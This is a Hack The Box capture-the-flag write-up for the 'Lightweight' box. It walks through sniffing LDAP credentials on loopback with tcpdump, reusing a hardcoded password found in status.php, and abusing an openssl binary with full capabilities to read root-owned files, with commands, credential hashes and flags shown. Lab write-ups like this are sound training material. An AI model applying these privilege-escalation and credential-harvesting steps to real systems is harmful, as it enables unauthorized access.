Hack The Box - Writeup

Lightweight

Patrick Hener

January 10, 2019

Table of Content

Recon

nmap

Port	Service
22/tcp	ssh
80/tcp	Apache
389/tcp	ldap

Initial Foothold - Get user.txt

The Page on port 80 tells you to ssh into the box using the attacker ip as user and password. That is working just fine.

```
[10.10.14.2@lightweight ~]$ whoami
10.10.14.2
[10.10.14.2@lightweight ~]$ hostname
lightweight.htb
[10.10.14.2@lightweight ~]$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:bf:4b:a1 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.119/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
[10.10.14.2@lightweight ~]$
```

If you listen on the `localhost` with tcpdump and curl to the status page under http://10.10.10.119/status.php you will see the following:

```
[10.10.14.2@lightweight ~]$ tcpdump -nnXSs 0 -i lo
14:58:34.910780 IP 10.10.10.119.54162 > 10.10.10.119.389: Flags [P.], seq 1274729989:1274730080, ack 2245274875, win 683, options [nop,nop,TS val 4499786 ecr 4499786], length 91
    0x0000:  4500 008f 7f50 4000 4006 9217 0a0a 0a77  E....P@.@......w
    0x0010:  0a0a 0a77 d392 0185 4bfa d605 85d4 2cfb  ...w....K.....,.
    0x0020:  8018 02ab 2983 0000 0101 080a 0044 a94a  ....)........D.J
    0x0030:  0044 a94a 3059 0201 0160 5402 0103 042d  .D.JOY...`T....-
    0x0040:  7569 643d 6c64 6170 7573 6572 322c 6f75  uid=ldapuser2,ou
    0x0050:  3d50 656f 706c 652c 6463 3d6c 6967 6874  =People,dc=light
    0x0060:  7765 6967 6874 2c64 633d 6874 6280 2038  weight,dc=htb..8
    0x0070:  6263 3832 3531 3333 3261 6265 3164 3766  bc8251332abe1d7f
    0x0080:  3130 3564 3365 3533 6164 3339 6163 32    105d3e53ad39ac2
```

Looks like we discovered a ldap authentication here. Use what looks like a hash as a password will give you ldapuser2.

```
[10.10.14.2@lightweight ~]$ su ldapuser2
Password:
[ldapuser2@lightweight 10.10.14.2]$

[ldapuser2@lightweight ~]$ cat user.txt
8a866d3bb7e13a57aaeb110297f48026
[ldapuser2@lightweight ~]$
```

Priv Esc - Get root.txt

Next we transfer backup.7z to our attacker system and crack the hash of it. The password is `delete`. Then from within status.php we can read the password of `ldapuser1`

```
<?php
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
//$ldapconfig['usersdn'] = 'cn=users';
```

Now we are `ldapuser1`

```
[10.10.14.2@lightweight ~]$ su ldapuser1
Password:
[ldapuser1@lightweight 10.10.14.2]$ cd
[ldapuser1@lightweight ~]$ ls -la
total 1496
drwx------. 4 ldapuser1 ldapuser1    181 Jun 15 21:03 .
drwxr-xr-x. 7 root      root          93 Dec 10 14:02 ..
```

```
-rw-------. 1 ldapuser1 ldapuser1      0 Jun 21 19:59 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1     18 Apr 11  2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1    193 Apr 11  2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1    246 Jun 15 21:03 .bashrc
drwxrwxr-x. 3 ldapuser1 ldapuser1     18 Jun 11 04:43 .cache
-rw-rw-r--. 1 ldapuser1 ldapuser1   9714 Jun 15 19:55 capture.pcap
drwxrwxr-x. 3 ldapuser1 ldapuser1     18 Jun 11 04:43 .config
-rw-rw-r--. 1 ldapuser1 ldapuser1    646 Jun 15 19:47 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13 19:44 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13 18:47 tcpdump
[ldapuser1@lightweight ~]
```

The `openssl` binary in the user folder has other capabilities than the included one:

```
[ldapuser1@lightweight ~]$ getcap ./openssl
./openssl =ep
[ldapuser1@lightweight ~]$ getcap /usr/bin/openssl
[ldapuser1@lightweight ~]$
```

As the capabilities are obviously wrong cause no explicit were given you can misuse the openssl binary in the userfolder to read protected files.

```
[ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /root/root.txt -out ./flag.b64
[ldapuser1@lightweight ~]$ cat flag.b64
ZjFkNGUzMDljNWE2YjNmZmZmZjc0YThmNGIyMTM1ZmEK
[ldapuser1@lightweight ~]$ cat flag.b64 | base64 -d
f1d4e309c5a6b3fffff74a8f4b2135fa
[ldapuser1@lightweight ~]$
```